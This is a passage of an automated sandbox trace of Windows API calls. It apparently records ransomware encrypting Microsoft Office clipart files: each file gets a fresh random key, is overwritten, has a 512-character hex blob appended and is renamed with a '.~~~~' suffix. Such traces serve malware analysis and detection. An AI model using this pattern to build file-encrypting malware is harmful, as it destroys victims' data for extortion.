	[0094.262] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.262] CloseHandle (hObject=0x134) returned 1
	[0094.263] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.~~~~")) returned 1
	[0094.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.264] GetLastError () returned 0x0
	[0094.264] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.265] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.265] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21425560578) returned 1
	[0094.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1e6fd70, dwHighDateTime=0x1d60e1e)) 
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9810
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9810 | out: hHeap=0x300000) returned 1
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283ed08
	[0094.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.266] GetLastError () returned 0x0
	[0094.266] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.266] GetLastError () returned 0x0
	[0094.413] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffb9d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.413] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x462c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x462c, lpOverlapped=0x0) returned 1
	[0094.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0094.414] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.414] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.415] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.415] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.415] CloseHandle (hObject=0x134) returned 1
	[0094.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.415] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.~~~~")) returned 1
	[0094.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.416] GetLastError () returned 0x0
	[0094.417] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.418] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.418] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.418] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21440861852) returned 1
	[0094.419] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1fc69d0, dwHighDateTime=0x1d60e1e)) 
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a92d0
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a92d0 | out: hHeap=0x300000) returned 1
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283eda0
	[0094.419] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.419] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.420] GetLastError () returned 0x0
	[0094.420] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.420] GetLastError () returned 0x0
	[0094.483] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffc7ff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.483] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3801, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x3801, lpOverlapped=0x0) returned 1
	[0094.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0094.485] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.485] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.485] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.485] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.485] CloseHandle (hObject=0x134) returned 1
	[0094.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.~~~~")) returned 1
	[0094.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.487] GetLastError () returned 0x0
	[0094.488] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.489] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.489] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.489] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.489] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.489] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21447954034) returned 1
	[0094.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa20850b0, dwHighDateTime=0x1d60e1e)) 
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3886e8
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3886e8 | out: hHeap=0x300000) returned 1
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0094.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f000
	[0094.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.490] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.490] GetLastError () returned 0x0
	[0094.490] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.490] GetLastError () returned 0x0
	[0094.520] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffbf61, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.521] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x409f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x409f, lpOverlapped=0x0) returned 1
	[0094.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0094.522] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.522] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0094.522] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0094.522] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0094.523] CloseHandle (hObject=0x134) returned 1
	[0094.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0094.523] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.~~~~")) returned 1
	[0094.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0094.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0094.552] GetLastError () returned 0x0
	[0094.555] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0094.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0094.623] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0094.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0094.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0094.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0094.623] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21461364252) returned 1
	[0094.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa21dbd10, dwHighDateTime=0x1d60e1e)) 
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3887c8
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0094.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3887c8 | out: hHeap=0x300000) returned 1
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0094.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0094.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0094.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f2f8
	[0094.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0094.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0094.625] GetLastError () returned 0x0
	[0094.625] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0094.625] GetLastError () returned 0x0
	[0094.629] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffba42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.629] WriteFile (in: hFile=0x134, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x45be, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x24dfec0*=0x45be, lpOverlapped=0x0) returned 1
	[0095.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0095.171] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.171] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.172] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0095.172] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0095.172] CloseHandle (hObject=0x134) returned 1
	[0095.172] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0095.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.~~~~")) returned 1
	[0095.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0095.182] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0095.182] GetLastError () returned 0x0
	[0095.182] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0095.185] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0095.185] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0095.185] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0095.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0095.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0095.185] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21517534134) returned 1
	[0095.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa2736e90, dwHighDateTime=0x1d60e1e)) 
	[0095.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0095.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0095.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0095.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388870
	[0095.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0095.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388870 | out: hHeap=0x300000) returned 1
	[0095.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0095.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0095.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0095.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0095.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283f4c0
	[0095.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0095.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0095.186] GetLastError () returned 0x0
	[0095.186] GetLastError () returned 0x0
	[0095.187] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0095.187] GetLastError () returned 0x0
	[0095.187] GetLastError () returned 0x0
	[0095.195] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff8248, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.196] WriteFile (in: hFile=0x134, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x24dfec0*=0x7db8, lpOverlapped=0x0) returned 1
	[0095.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0095.197] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0095.197] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0095.197] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
